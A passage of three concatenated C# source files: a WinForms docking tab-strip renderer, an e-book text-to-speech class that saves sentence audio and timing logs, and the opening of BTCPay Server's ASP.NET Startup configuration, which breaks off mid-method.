= TabsRectangle; int x = rectTabStrip.X; //+ rectTabStrip.Height / 2; bool overflow = false; // Originally all new documents that were considered overflow // (not enough pane strip space to show all tabs) were added to // the far left (assuming not right to left) and the tabs on the // right were dropped from view. If StartDisplayingTab is not 0 // then we are dealing with making sure a specific tab is kept in focus. if (m_startDisplayingTab > 0) { int tempX = x; var tab = Tabs[m_startDisplayingTab] as TabVS2012Light; tab.MaxWidth = GetMaxTabWidth(m_startDisplayingTab); // Add the active tab and tabs to the left for (int i = StartDisplayingTab; i >= 0; i--) CalculateDocumentTab(rectTabStrip, ref tempX, i); // Store which tab is the first one displayed so that it // will be drawn correctly (without part of the tab cut off) FirstDisplayingTab = EndDisplayingTab; tempX = x; // Reset X location because we are starting over // Start with the first tab displayed - name is a little misleading. // Loop through each tab and set its location. If there is not enough // room for all of them overflow will be returned. for (int i = EndDisplayingTab; i < Tabs.Count; i++) overflow = CalculateDocumentTab(rectTabStrip, ref tempX, i); // If not all tabs are shown then we have an overflow. if (FirstDisplayingTab != 0) overflow = true; } else { for (int i = StartDisplayingTab; i < Tabs.Count; i++) overflow = CalculateDocumentTab(rectTabStrip, ref x, i); for (int i = 0; i < StartDisplayingTab; i++) overflow = CalculateDocumentTab(rectTabStrip, ref x, i); FirstDisplayingTab = StartDisplayingTab; } if (!overflow) { m_startDisplayingTab = 0; FirstDisplayingTab = 0; x = rectTabStrip.X;// +rectTabStrip.Height / 2; foreach (TabVS2012Light tab in Tabs) { tab.TabX = x; x += tab.TabWidth; } } DocumentTabsOverflow = overflow; } protected internal override void EnsureTabVisible(IDockContent content) { if (Appearance != DockPane.AppearanceStyle.Document || !Tabs.Contains(content)) return; CalculateTabs(); EnsureDocumentTabVisible(content, true); } private bool EnsureDocumentTabVisible(IDockContent content, bool repaint) { int index = Tabs.IndexOf(content); var tab = Tabs[index] as TabVS2012Light; if (tab.TabWidth != 0) return false; StartDisplayingTab = index; if (repaint) Invalidate(); return true; } private int GetMaxTabWidth(int index) { if (Appearance == DockPane.AppearanceStyle.ToolWindow) return GetMaxTabWidth_ToolWindow(index); else return GetMaxTabWidth_Document(index); } private int GetMaxTabWidth_ToolWindow(int index) { IDockContent content = Tabs[index].Content; Size sizeString = TextRenderer.MeasureText(content.DockHandler.TabText, TextFont); return ToolWindowImageWidth + sizeString.Width + ToolWindowImageGapLeft + ToolWindowImageGapRight + ToolWindowTextGapRight; } private const int TAB_CLOSE_BUTTON_WIDTH = 30; private int GetMaxTabWidth_Document(int index) { IDockContent content = Tabs[index].Content; int height = GetTabRectangle_Document(index).Height; Size sizeText = TextRenderer.MeasureText(content.DockHandler.TabText, BoldFont, new Size(DocumentTabMaxWidth, height), DocumentTextFormat); int width; if (DockPane.DockPanel.ShowDocumentIcon) width = sizeText.Width + DocumentIconWidth + DocumentIconGapLeft + DocumentIconGapRight + DocumentTextGapRight; else width = sizeText.Width + DocumentIconGapLeft + DocumentTextGapRight; width += TAB_CLOSE_BUTTON_WIDTH; return width; } private void DrawTabStrip(Graphics g) { if (Appearance == DockPane.AppearanceStyle.Document) DrawTabStrip_Document(g); else DrawTabStrip_ToolWindow(g); } private void DrawTabStrip_Document(Graphics g) { int count = Tabs.Count; if (count == 0) return; Rectangle rectTabStrip = TabStripRectangle; rectTabStrip.Height += 1; // Draw the tabs Rectangle rectTabOnly = TabsRectangle; Rectangle rectTab = Rectangle.Empty; TabVS2012Light tabActive = null; g.SetClip(DrawHelper.RtlTransform(this, rectTabOnly)); for (int i = 0; i < count; i++) { rectTab = GetTabRectangle(i); if (Tabs[i].Content == DockPane.ActiveContent) { tabActive = Tabs[i] as TabVS2012Light; continue; } if (rectTab.IntersectsWith(rectTabOnly)) DrawTab(g, Tabs[i] as TabVS2012Light, rectTab); } g.SetClip(rectTabStrip); if (DockPane.DockPanel.DocumentTabStripLocation == DocumentTabStripLocation.Bottom) g.DrawLine(PenDocumentTabActiveBorder, rectTabStrip.Left, rectTabStrip.Top + 1, rectTabStrip.Right, rectTabStrip.Top + 1); else { Color tabUnderLineColor; if (tabActive != null && DockPane.IsActiveDocumentPane) tabUnderLineColor = DockPane.DockPanel.Skin.DockPaneStripSkin.DocumentGradient.ActiveTabGradient.StartColor; else tabUnderLineColor = DockPane.DockPanel.Skin.DockPaneStripSkin.DocumentGradient.ActiveTabGradient.EndColor; g.DrawLine(new Pen(tabUnderLineColor, 4), rectTabStrip.Left, rectTabStrip.Bottom, rectTabStrip.Right, rectTabStrip.Bottom); } g.SetClip(DrawHelper.RtlTransform(this, rectTabOnly)); if (tabActive != null) { rectTab = GetTabRectangle(Tabs.IndexOf(tabActive)); if (rectTab.IntersectsWith(rectTabOnly)) { rectTab.Intersect(rectTabOnly); DrawTab(g, tabActive, rectTab); } } } private void DrawTabStrip_ToolWindow(Graphics g) { Rectangle rectTabStrip = TabStripRectangle; g.DrawLine(PenToolWindowTabBorder, rectTabStrip.Left, rectTabStrip.Top, rectTabStrip.Right, rectTabStrip.Top); for (int i = 0; i < Tabs.Count; i++) DrawTab(g, Tabs[i] as TabVS2012Light, GetTabRectangle(i)); } private Rectangle GetTabRectangle(int index) { if (Appearance == DockPane.AppearanceStyle.ToolWindow) return GetTabRectangle_ToolWindow(index); else return GetTabRectangle_Document(index); } private Rectangle GetTabRectangle_ToolWindow(int index) { Rectangle rectTabStrip = TabStripRectangle; TabVS2012Light tab = (TabVS2012Light)(Tabs[index]); return new Rectangle(tab.TabX, rectTabStrip.Y, tab.TabWidth, rectTabStrip.Height); } private Rectangle GetTabRectangle_Document(int index) { Rectangle rectTabStrip = TabStripRectangle; var tab = (TabVS2012Light)Tabs[index]; Rectangle rect = new Rectangle(); rect.X = tab.TabX; rect.Width = tab.TabWidth; rect.Height = rectTabStrip.Height - DocumentTabGapTop; if (DockPane.DockPanel.DocumentTabStripLocation == DocumentTabStripLocation.Bottom) rect.Y = rectTabStrip.Y + DocumentStripGapBottom; else rect.Y = rectTabStrip.Y + DocumentTabGapTop; return rect; } private void DrawTab(Graphics g, TabVS2012Light tab, Rectangle rect) { if (Appearance == DockPane.AppearanceStyle.ToolWindow) DrawTab_ToolWindow(g, tab, rect); else DrawTab_Document(g, tab, rect); } private GraphicsPath GetTabOutline(Tab tab, bool rtlTransform, bool toScreen) { if (Appearance == DockPane.AppearanceStyle.ToolWindow) return GetTabOutline_ToolWindow(tab, rtlTransform, toScreen); else return GetTabOutline_Document(tab, rtlTransform, toScreen, false); } private GraphicsPath GetTabOutline_ToolWindow(Tab tab, bool rtlTransform, bool toScreen) { Rectangle rect = GetTabRectangle(Tabs.IndexOf(tab)); if (rtlTransform) rect = DrawHelper.RtlTransform(this, rect); if (toScreen) rect = RectangleToScreen(rect); DrawHelper.GetRoundedCornerTab(GraphicsPath, rect, false); return GraphicsPath; } private GraphicsPath GetTabOutline_Document(Tab tab, bool rtlTransform, bool toScreen, bool full) { GraphicsPath.Reset(); Rectangle rect = GetTabRectangle(Tabs.IndexOf(tab)); // Shorten TabOutline so it doesn't get overdrawn by icons next to it rect.Intersect(TabsRectangle); rect.Width--; if (rtlTransform) rect = DrawHelper.RtlTransform(this, rect); if (toScreen) rect = RectangleToScreen(rect); GraphicsPath.AddRectangle(rect); return GraphicsPath; } private void DrawTab_ToolWindow(Graphics g, TabVS2012Light tab, Rectangle rect) { rect.Y += 1; Rectangle rectIcon = new Rectangle( rect.X + ToolWindowImageGapLeft, rect.Y - 1 + rect.Height - ToolWindowImageGapBottom - ToolWindowImageHeight, ToolWindowImageWidth, ToolWindowImageHeight); Rectangle rectText = rectIcon; rectText.X += rectIcon.Width + ToolWindowImageGapRight; rectText.Width = rect.Width - rectIcon.Width - ToolWindowImageGapLeft - ToolWindowImageGapRight - ToolWindowTextGapRight; Rectangle rectTab = DrawHelper.RtlTransform(this, rect); rectText = DrawHelper.RtlTransform(this, rectText); rectIcon = DrawHelper.RtlTransform(this, rectIcon); if (DockPane.ActiveContent == tab.Content && ((DockContent)tab.Content).IsActivated) { Color startColor = DockPane.DockPanel.Skin.DockPaneStripSkin.ToolWindowGradient.ActiveTabGradient.StartColor; Color endColor = DockPane.DockPanel.Skin.DockPaneStripSkin.ToolWindowGradient.ActiveTabGradient.EndColor; LinearGradientMode gradientMode = DockPane.DockPanel.Skin.DockPaneStripSkin.ToolWindowGradient.ActiveTabGradient.LinearGradientMode; g.FillRectangle(new LinearGradientBrush(rectTab, startColor, endColor, gradientMode), rect); Color textColor = DockPane.DockPanel.Skin.DockPaneStripSkin.ToolWindowGradient.ActiveTabGradient.TextColor; TextRenderer.DrawText(g, tab.Content.DockHandler.TabText, TextFont, rectText, textColor, ToolWindowTextFormat); } else { Color textColor; if (tab.Content == DockPane.MouseOverTab) textColor = DockPane.DockPanel.Skin.DockPaneStripSkin.ToolWindowGradient.HoverTabGradient.TextColor; else textColor = DockPane.DockPanel.Skin.DockPaneStripSkin.ToolWindowGradient.InactiveTabGradient.TextColor; TextRenderer.DrawText(g, tab.Content.DockHandler.TabText, TextFont, rectText, textColor, ToolWindowTextFormat); } g.DrawLine(PenToolWindowTabBorder, rect.X + rect.Width - 1, rect.Y, rect.X + rect.Width - 1, rect.Height); if (rectTab.Contains(rectIcon)) g.DrawIcon(tab.Content.DockHandler.Icon, rectIcon); } private void DrawTab_Document(Graphics g, TabVS2012Light tab, Rectangle rect) { if (tab.TabWidth == 0) return; var rectCloseButton = GetCloseButtonRect(rect); Rectangle rectIcon = new Rectangle( rect.X + DocumentIconGapLeft, rect.Y + rect.Height - DocumentIconGapBottom - DocumentIconHeight, DocumentIconWidth, DocumentIconHeight); Rectangle rectText = rectIcon; if (DockPane.DockPanel.ShowDocumentIcon) { rectText.X += rectIcon.Width + DocumentIconGapRight; rectText.Y = rect.Y; rectText.Width = rect.Width - rectIcon.Width - DocumentIconGapLeft - DocumentIconGapRight - DocumentTextGapRight - rectCloseButton.Width; rectText.Height = rect.Height; } else rectText.Width = rect.Width - DocumentIconGapLeft - DocumentTextGapRight - rectCloseButton.Width; Rectangle rectTab = DrawHelper.RtlTransform(this, rect); Rectangle rectBack = DrawHelper.RtlTransform(this, rect); rectBack.Width += rect.X; rectBack.X = 0; rectText = DrawHelper.RtlTransform(this, rectText); rectIcon = DrawHelper.RtlTransform(this, rectIcon); Color activeColor = DockPane.DockPanel.Skin.DockPaneStripSkin.DocumentGradient.ActiveTabGradient.StartColor; Color lostFocusColor = DockPane.DockPanel.Skin.DockPaneStripSkin.DocumentGradient.ActiveTabGradient.EndColor; Color inactiveColor = DockPane.DockPanel.Skin.DockPaneStripSkin.DocumentGradient.InactiveTabGradient.StartColor; Color mouseHoverColor = DockPane.DockPanel.Skin.DockPaneStripSkin.DocumentGradient.HoverTabGradient.EndColor; Color activeText = DockPane.DockPanel.Skin.DockPaneStripSkin.DocumentGradient.ActiveTabGradient.TextColor; Color inactiveText = DockPane.DockPanel.Skin.DockPaneStripSkin.DocumentGradient.InactiveTabGradient.TextColor; Color lostFocusText = SystemColors.GrayText; Color mouseHoverText = DockPane.DockPanel.Skin.DockPaneStripSkin.DocumentGradient.HoverTabGradient.TextColor; if (DockPane.ActiveContent == tab.Content) { if (DockPane.IsActiveDocumentPane) { g.FillRectangle(new SolidBrush(activeColor), rect); TextRenderer.DrawText(g, tab.Content.DockHandler.TabText, TextFont, rectText, activeText, DocumentTextFormat); g.DrawImage(rectCloseButton == ActiveClose ? Resources.ActiveTabHover_Close : Resources.ActiveTab_Close, rectCloseButton); } else { g.FillRectangle(new SolidBrush(lostFocusColor), rect); TextRenderer.DrawText(g, tab.Content.DockHandler.TabText, TextFont, rectText, lostFocusText, DocumentTextFormat); g.DrawImage(rectCloseButton == ActiveClose ? Resources.LostFocusTabHover_Close : Resources.LostFocusTab_Close, rectCloseButton); } } else { if (tab.Content == DockPane.MouseOverTab) { g.FillRectangle(new SolidBrush(mouseHoverColor), rect); TextRenderer.DrawText(g, tab.Content.DockHandler.TabText, TextFont, rectText, mouseHoverText, DocumentTextFormat); g.DrawImage(rectCloseButton == ActiveClose ? Resources.InactiveTabHover_Close : Resources.ActiveTabHover_Close, rectCloseButton); } else { g.FillRectangle(new SolidBrush(inactiveColor), rect); TextRenderer.DrawText(g, tab.Content.DockHandler.TabText, TextFont, rectText, inactiveText, DocumentTextFormat); } } if (rectTab.Contains(rectIcon) && DockPane.DockPanel.ShowDocumentIcon) g.DrawIcon(tab.Content.DockHandler.Icon, rectIcon); } protected override void OnMouseClick(MouseEventArgs e) { base.OnMouseClick(e); if (e.Button != MouseButtons.Left || Appearance != DockPane.AppearanceStyle.Document) return; var indexHit = HitTest(); if (indexHit > -1) TabCloseButtonHit(indexHit); } private void TabCloseButtonHit(int index) { var mousePos = PointToClient(MousePosition); var tabRect = GetTabRectangle(index); var closeButtonRect = GetCloseButtonRect(tabRect); var mouseRect = new Rectangle(mousePos, new Size(1, 1)); if (closeButtonRect.IntersectsWith(mouseRect)) DockPane.CloseActiveContent(); } private Rectangle GetCloseButtonRect(Rectangle rectTab) { if (Appearance != Docking.DockPane.AppearanceStyle.Document) { return Rectangle.Empty; } const int gap = 3; const int imageSize = 15; return new Rectangle(rectTab.X + rectTab.Width - imageSize - gap - 1, rectTab.Y + gap, imageSize, imageSize); } private void WindowList_Click(object sender, EventArgs e) { SelectMenu.Items.Clear(); foreach (TabVS2012Light tab in Tabs) { IDockContent content = tab.Content; ToolStripItem item = SelectMenu.Items.Add(content.DockHandler.TabText, content.DockHandler.Icon.ToBitmap()); item.Tag = tab.Content; item.Click += new EventHandler(ContextMenuItem_Click); } var workingArea = Screen.GetWorkingArea(ButtonWindowList.PointToScreen(new Point(ButtonWindowList.Width / 2, ButtonWindowList.Height / 2))); var menu = new Rectangle(ButtonWindowList.PointToScreen(new Point(0, ButtonWindowList.Location.Y + ButtonWindowList.Height)), SelectMenu.Size); var menuMargined = new Rectangle(menu.X - SelectMenuMargin, menu.Y - SelectMenuMargin, menu.Width + SelectMenuMargin, menu.Height + SelectMenuMargin); if (workingArea.Contains(menuMargined)) { SelectMenu.Show(menu.Location); } else { var newPoint = menu.Location; newPoint.X = DrawHelper.Balance(SelectMenu.Width, SelectMenuMargin, newPoint.X, workingArea.Left, workingArea.Right); newPoint.Y = DrawHelper.Balance(SelectMenu.Size.Height, SelectMenuMargin, newPoint.Y, workingArea.Top, workingArea.Bottom); var button = ButtonWindowList.PointToScreen(new Point(0, ButtonWindowList.Height)); if (newPoint.Y < button.Y) { // flip the menu up to be above the button. newPoint.Y = button.Y - ButtonWindowList.Height; SelectMenu.Show(newPoint, ToolStripDropDownDirection.AboveRight); } else { SelectMenu.Show(newPoint); } } } private void ContextMenuItem_Click(object sender, EventArgs e) { ToolStripMenuItem item = sender as ToolStripMenuItem; if (item != null) { IDockContent content = (IDockContent)item.Tag; DockPane.ActiveContent = content; } } private void SetInertButtons() { if (Appearance == DockPane.AppearanceStyle.ToolWindow) { if (m_buttonClose != null) m_buttonClose.Left = -m_buttonClose.Width; if (m_buttonWindowList != null) m_buttonWindowList.Left = -m_buttonWindowList.Width; } else { ButtonClose.Enabled = false; m_closeButtonVisible = false; ButtonClose.Visible = m_closeButtonVisible; ButtonClose.RefreshChanges(); ButtonWindowList.RefreshChanges(); } } protected override void OnLayout(LayoutEventArgs levent) { if (Appearance == DockPane.AppearanceStyle.Document) { LayoutButtons(); OnRefreshChanges(); } base.OnLayout(levent); } private void LayoutButtons() { Rectangle rectTabStrip = TabStripRectangle; // Set position and size of the buttons int buttonWidth = ButtonClose.Image.Width; int buttonHeight = ButtonClose.Image.Height; int height = rectTabStrip.Height - DocumentButtonGapTop - DocumentButtonGapBottom; if (buttonHeight < height) { buttonWidth = buttonWidth * (height / buttonHeight); buttonHeight = height; } Size buttonSize = new Size(buttonWidth, buttonHeight); int x = rectTabStrip.X + rectTabStrip.Width - DocumentTabGapLeft - DocumentButtonGapRight - buttonWidth; int y = rectTabStrip.Y + DocumentButtonGapTop; Point point = new Point(x, y); ButtonClose.Bounds = DrawHelper.RtlTransform(this, new Rectangle(point, buttonSize)); // If the close button is not visible draw the window list button overtop. // Otherwise it is drawn to the left of the close button. if (m_closeButtonVisible) point.Offset(-(DocumentButtonGapBetween + buttonWidth), 0); ButtonWindowList.Bounds = DrawHelper.RtlTransform(this, new Rectangle(point, buttonSize)); } private void Close_Click(object sender, EventArgs e) { DockPane.CloseActiveContent(); } protected internal override int HitTest(Point ptMouse) { if (!TabsRectangle.Contains(ptMouse)) return -1; foreach (Tab tab in Tabs) { GraphicsPath path = GetTabOutline(tab, true, false); if (path.IsVisible(ptMouse)) return Tabs.IndexOf(tab); } return -1; } private Rectangle ActiveClose { get { return _activeClose; } } private bool SetActiveClose(Rectangle rectangle) { if (_activeClose == rectangle) return false; _activeClose = rectangle; return true; } private bool SetMouseOverTab(IDockContent content) { if (DockPane.MouseOverTab == content) return false; DockPane.MouseOverTab = content; return true; } protected override void OnMouseHover(EventArgs e) { int index = HitTest(PointToClient(MousePosition)); string toolTip = string.Empty; base.OnMouseHover(e); bool tabUpdate = false; bool buttonUpdate = false; if (index != -1) { var tab = Tabs[index] as TabVS2012Light; if (Appearance == DockPane.AppearanceStyle.ToolWindow || Appearance == DockPane.AppearanceStyle.Document) { tabUpdate = SetMouseOverTab(tab.Content == DockPane.ActiveContent ? null : tab.Content); } if (!String.IsNullOrEmpty(tab.Content.DockHandler.ToolTipText)) toolTip = tab.Content.DockHandler.ToolTipText; else if (tab.MaxWidth > tab.TabWidth) toolTip = tab.Content.DockHandler.TabText; var mousePos = PointToClient(MousePosition); var tabRect = GetTabRectangle(index); var closeButtonRect = GetCloseButtonRect(tabRect); var mouseRect = new Rectangle(mousePos, new Size(1, 1)); buttonUpdate = SetActiveClose(closeButtonRect.IntersectsWith(mouseRect) ? closeButtonRect : Rectangle.Empty); } else { tabUpdate = SetMouseOverTab(null); buttonUpdate = SetActiveClose(Rectangle.Empty); } if (tabUpdate || buttonUpdate) Invalidate(); if (m_toolTip.GetToolTip(this) != toolTip) { m_toolTip.Active = false; m_toolTip.SetToolTip(this, toolTip); m_toolTip.Active = true; } // requires further tracking of mouse hover behavior, ResetMouseEventArgs(); } protected override void OnMouseLeave(EventArgs e) { var tabUpdate = SetMouseOverTab(null); var buttonUpdate = SetActiveClose(Rectangle.Empty); if (tabUpdate || buttonUpdate) Invalidate(); base.OnMouseLeave(e); } protected override void OnRightToLeftChanged(EventArgs e) { base.OnRightToLeftChanged(e); PerformLayout(); } } }
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Speech.Synthesis; using System.Speech.Synthesis.TtsEngine; using System.Speech.Recognition; using System.Diagnostics; using System.IO; namespace eDocumentReader.Hubs { public class EBookSpeechSynthesizer { private static EBookSpeechSynthesizer instance; private static SpeechSynthesizer synthesizer; private static readonly int MAXLEN = 4; //max length of the audio file's numeric name private static readonly int synthesisSpeakRate = -2; private static bool saveData; //tell whether to save the current speaking utterance in files private string logResultFile; private double totalSentenceDuration; private int startIndex;//the start index of current sentence private double startTime; private static string prompt; private EBookSpeechSynthesizer(){ if (synthesizer == null) { synthesizer = new SpeechSynthesizer(); synthesizer.PhonemeReached += synthesizer_PhonemeReached; synthesizer.StateChanged += synthesizer_StateChanged; synthesizer.SpeakCompleted += synthesizer_SpeakCompleted; synthesizer.SpeakProgress += synthesizer_SpeakProgress; //synthesizer.SetOutputToDefaultAudioDevice(); } } void synthesizer_SpeakProgress(object sender, SpeakProgressEventArgs e) { //phoneme = ""; if(saveData){ // double rate = 1+synthesisSpeakRate * 0.1; if (rate > 1) { rate = 1; } totalSentenceDuration = e.AudioPosition.TotalMilliseconds*(rate); prompt += e.Text+" "; string data = "time::" + (startTime + totalSentenceDuration) + "|confidence::0.99|textResult::" + prompt.Trim() + "|isHypothesis::True|grammarName::|ruleName::index_"+startIndex+"|duration::-1|wavePath::\n"; writeToFile(data); } } void synthesizer_SpeakCompleted(object sender, SpeakCompletedEventArgs e) { } void synthesizer_StateChanged(object sender, System.Speech.Synthesis.StateChangedEventArgs e) { Debug.WriteLine(e.State.ToString()); } public void speak(string utts) { //force to terminate all queued prompts synthesizer.SpeakAsyncCancelAll(); string[] separator = {"!","?","."}; string[] sentences = utts.Split(separator, StringSplitOptions.RemoveEmptyEntries); int index = 0; foreach (string ea in sentences) { string path = "C:\\temp\\audio"+index+".wav"; synthesizer.SetOutputToWaveFile(@path); PromptBuilder pb = new PromptBuilder(); synthesizer.Rate = -1; synthesizer.Speak(ea); index++; } //Debug.WriteLine("Phonetics: " + phoneme); } public void generateSynthesisData(Story story) { saveData = true; foreach (InstalledVoice iv in synthesizer.GetInstalledVoices()) { string voiceName = iv.VoiceInfo.Name; Debug.WriteLine("installed voice :" + voiceName); synthesizer.SelectVoice(voiceName); string path = story.getFullPath() + "\\" + EBookInteractiveSystem.voice_dir + "\\" + voiceName.Replace(" ", "_"); Directory.CreateDirectory(path); int index = 0; Page p = story.GetFirstPage(); logResultFile = path + "\\" + StoryLoggingDevice.logFileName; if (File.Exists(logResultFile)) { Debug.WriteLine("skip gnerating synthesis data, data found in " + path); return; } startTime = (long)LogPlayer.GetUnixTimestamp(); while(p != null){ //reset startIndex when start a new page startIndex = 0; List<string[]> textArray = p.GetListOfTextArray(); string whole = ""; foreach(string[] text in textArray){ if (text != null) { foreach (string ea in text) { whole += ea + " "; } } } string[] separator = { "!", "?", "." }; string[] sp = whole.Split(default(string[]), StringSplitOptions.RemoveEmptyEntries); List<string> sentences = new List<string>(); string tmpStr = ""; foreach (string ea in sp) { tmpStr += ea + " "; foreach (string punc in separator) { if (ea.Contains(punc)) { sentences.Add(tmpStr.TrimEnd()); tmpStr = ""; break; } } } foreach (string ea in sentences) { Debug.WriteLine("generating tts for:" + ea); string audioPath = path + "\\" + getPrefix(index)+".wav"; synthesizer.SetOutputToWaveFile(@audioPath); PromptBuilder pb = new PromptBuilder(); synthesizer.Rate = synthesisSpeakRate; prompt = ""; writeToFile("start::" + startTime+"\n"); startTime += 10; synthesizer.Speak(ea); index++; startTime += (totalSentenceDuration); string data = "time::" + startTime + "|confidence::0.99|textResult::" + prompt.Trim() + "|isHypothesis::False|key::startIndex|value::" + startIndex + "|grammarName::|ruleName::index_" + startIndex + "|duration::" + totalSentenceDuration + "|wavePath::" + EBookUtil.convertAudioToRelativePath(@audioPath) + "\n"; writeToFile(data); string[] tmp = ea.Split(default(string[]), StringSplitOptions.RemoveEmptyEntries); startIndex += tmp.Length; startTime += 1000;//one second pause } writeToFile("finishPage\n"); p = story.GetNextPage(); } } saveData = false; } private void writeToFile(string data) { if (!File.Exists(logResultFile)) { File.WriteAllText(logResultFile, data); } else { File.AppendAllText(logResultFile, data); } } private string getPrefix(int n) { string x = n + ""; while (x.Length < MAXLEN) { x = "0" + x; } return x; } void synthesizer_PhonemeReached(object sender, PhonemeReachedEventArgs e) { Debug.WriteLine(e.Prompt.ToString()+"\t"+e.Prompt.IsCompleted+"\t"+e.Phoneme); } public static EBookSpeechSynthesizer getInstance(){ if(instance == null){ instance = new EBookSpeechSynthesizer(); } return instance; } } }
using System; using System.Globalization; using System.IO; using System.Linq; using System.Net; using BTCPayServer.Abstractions.Extensions; using BTCPayServer.Configuration; using BTCPayServer.Controllers.Greenfield; using BTCPayServer.Data; using BTCPayServer.Fido2; using BTCPayServer.Filters; using BTCPayServer.Logging; using BTCPayServer.PaymentRequest; using BTCPayServer.Plugins; using BTCPayServer.Security; using BTCPayServer.Services.Apps; using BTCPayServer.Storage; using Fido2NetLib; using Microsoft.AspNetCore.Authentication; using Microsoft.AspNetCore.Authentication.Cookies; using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.DataProtection; using Microsoft.AspNetCore.Hosting; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.HttpOverrides; using Microsoft.AspNetCore.Identity; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Server.Kestrel.Core; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.DependencyInjection.Extensions; using Microsoft.Extensions.Hosting; using Microsoft.Extensions.Logging; using Microsoft.Extensions.Options; using Microsoft.Net.Http.Headers; namespace BTCPayServer.Hosting { public class Startup { public Startup(IConfiguration conf, IWebHostEnvironment env, ILoggerFactory loggerFactory) { Configuration = conf; _Env = env; LoggerFactory = loggerFactory; Logs = new Logs(); Logs.Configure(loggerFactory); } readonly IWebHostEnvironment _Env; public IConfiguration Configuration { get; set; } public ILoggerFactory LoggerFactory { get; } public Logs Logs { get; } public void ConfigureServices(IServiceCollection services) { services.AddMemoryCache(); services.AddDataProtection() .SetApplicationName("BTCPay Server") .PersistKeysToFileSystem(new DirectoryInfo(new DataDirectories().Configure(Configuration).DataDir)); services.AddIdentity<ApplicationUser, IdentityRole>() .AddEntityFrameworkStores<ApplicationDbContext>() .AddDefaultTokenProviders(); services.Configure<AuthenticationOptions>(opts => { opts.DefaultAuthenticateScheme = null; opts.DefaultChallengeScheme = null; opts.DefaultForbidScheme = null; opts.DefaultScheme = IdentityConstants.ApplicationScheme; opts.DefaultSignInScheme = null; opts.DefaultSignOutScheme = null; }); services.PostConfigure<CookieAuthenticationOptions>(IdentityConstants.ApplicationScheme, opt => { opt.LoginPath = "/login"; opt.AccessDeniedPath = "/errors/403"; opt.LogoutPath = "/logout"; }); services.Configure<SecurityStampValidatorOptions>(opts => { opts.ValidationInterval = TimeSpan.FromMinutes(5.0); }); services.AddBTCPayServer(Configuration, Logs); services.AddProviderStorage(); services.AddSession(); services.AddSignalR(); services.AddFido2(options => { options.ServerName = "BTCPay Server"; }) .AddCachedMetadataService(config => { //They'll be used in a "first match wins" way in the order registered config.AddStaticMetadataRepository(); }); var descriptor = services.Single(descriptor => descriptor.ServiceType == typeof(Fido2Configuration)); services.Remove(descriptor); services.AddScoped(provider => { var httpContext = provider.GetService<IHttpContextAccessor>(); return new Fido2Configuration() { ServerName = "BTCPay Server", Origin = $"{httpContext.HttpContext.Request.Scheme}://{httpContext.HttpContext.Request.Host}", ServerDomain = httpContext.HttpContext.Request.Host.Host }; }); services.AddScoped<Fido2Service>(); services.AddSingleton<UserLoginCodeService>(); services.AddSingleton<LnurlAuthService>(); var mvcBuilder = services.AddMvc(o => { o.Filters.Add(new XFrameOptionsAttribute("DENY")); o.Filters.Add(new XContentTypeOptionsAttribute("nosniff")); o.Filters.Add(new XXSSProtectionAttribute()); o.Filters.Add(new ReferrerPolicyAttribute("same-origin")); o.ModelBinderProviders.Insert(0, new ModelBinders.DefaultModelBinderProvider()); if (!Configuration.GetOrDefault<bool>("nocsp", false)) o.Filters.Add(new ContentSecurityPolicyAttribute(CSPTemplate.AntiXSS)); o.Filters.Add(new JsonHttpExceptionFilter()); o.Filters.Add(new JsonObjectExceptionFilter()); }) .ConfigureApiBehaviorOptions(options => { options.InvalidModelStateResponseFactory = context => { return new UnprocessableEntityObjectResult(context.ModelState.ToGreenfieldValidationError()); }; }) .AddRazorOptions(o => { // /Components/{View Component Name}/{View Name}.cshtml o.ViewLocationFormats.Add("/{0}.cshtml"); o.PageViewLocationFormats.Add("/{0}.cshtml"); }) .AddNewtonsoftJson() .AddRazorRuntimeCompilation() .AddPlugins(services, Configuration, LoggerFactory) .AddControllersAsServices(); LowercaseTransformer.Register(services); ValidateControllerNameTransformer.Register(services); services.TryAddScoped<ContentSecurityPolicies>(); services.Configure<IdentityOptions>(options => { options.Password.RequireDigit = false; options.Password.RequiredLength = 6; options.Password.RequireLowercase = false; options.Password.RequireNonAlphanumeric = false; options.Password.RequireUppercase = false; options.Lockout.DefaultLockoutTimeSpan = TimeSpan.FromMinutes(5); options.Lockout.MaxFailedAccessAttempts = 5; options.Lockout.AllowedForNewUsers = true; options.Password.RequireUppercase = false; }); // If the HTTPS certificate path is not set this logic will NOT be used and the default Kestrel binding logic will be. string httpsCertificateFilePath = Configuration.GetOrDefault<string>("HttpsCertificateFilePath", null); bool useDefaultCertificate = Configuration.GetOrDefault<bool>("HttpsUseDefaultCertificate", false); bool hasCertPath = !String.IsNullOrEmpty(httpsCertificateFilePath); services.Configure<KestrelServerOptions>(kestrel => { kestrel.Limits.MaxRequestLineSize = 8_192 * 10 * 5; // Around 500K, transactions passed in URI should not be bigger than this }); if (hasCertPath || useDefaultCertificate) { var bindAddress = Configuration.GetOrDefault<IPAddress>("bind", IPAddress.Any); int bindPort = Configuration.GetOrDefault<int>("port", 443); services.Configure<KestrelServerOptions>(kestrel => { if (hasCertPath && !File.Exists(httpsCertificateFilePath)) { // Note that by design this is a fatal error condition that will cause the process to exit. throw new ConfigException($"The https certificate file could not be found at {httpsCertificateFilePath}."); } if (hasCertPath && useDefaultCertificate) { throw new ConfigException($"Conflicting settings: if HttpsUseDefaultCertificate is true, HttpsCertificateFilePath should not be used"); } kestrel.Listen(bindAddress, bindPort, l => { if (hasCertPath) { Logs.Configuration.LogInformation($"Using HTTPS with the certificate located in {httpsCertificateFilePath}."); l.UseHttps(httpsCertificateFilePath, Configuration.GetOrDefault<string>("HttpsCertificateFilePassword", null)); } else { Logs.Configuration.LogInformation($"Using HTTPS with the default certificate"); l.UseHttps(); } }); }); } } public void Configure( IApplicationBuilder app, IWebHostEnvironment env, IServiceProvider prov, BTCPayServerOptions options, IOptions<DataDirectories> dataDirectories, ILoggerFactory loggerFactory) { Logs.Configure(loggerFactory); Logs.Configuration.LogInformation($"Root Path: {options.RootPath}"); if (options.RootPath.Equals("/", StringComparison.OrdinalIgnoreCase)) { ConfigureCore(app, env, prov, dataDirectories); } else { app.Map(options.RootPath, appChild => { ConfigureCore(appChild, env, prov, dataDirectories); }); } } private void ConfigureCore(IApplicationBuilder app, IWebHostEnvironment env, IServiceProvider prov, IOptions<DataDirectories> dataDirectories) { if 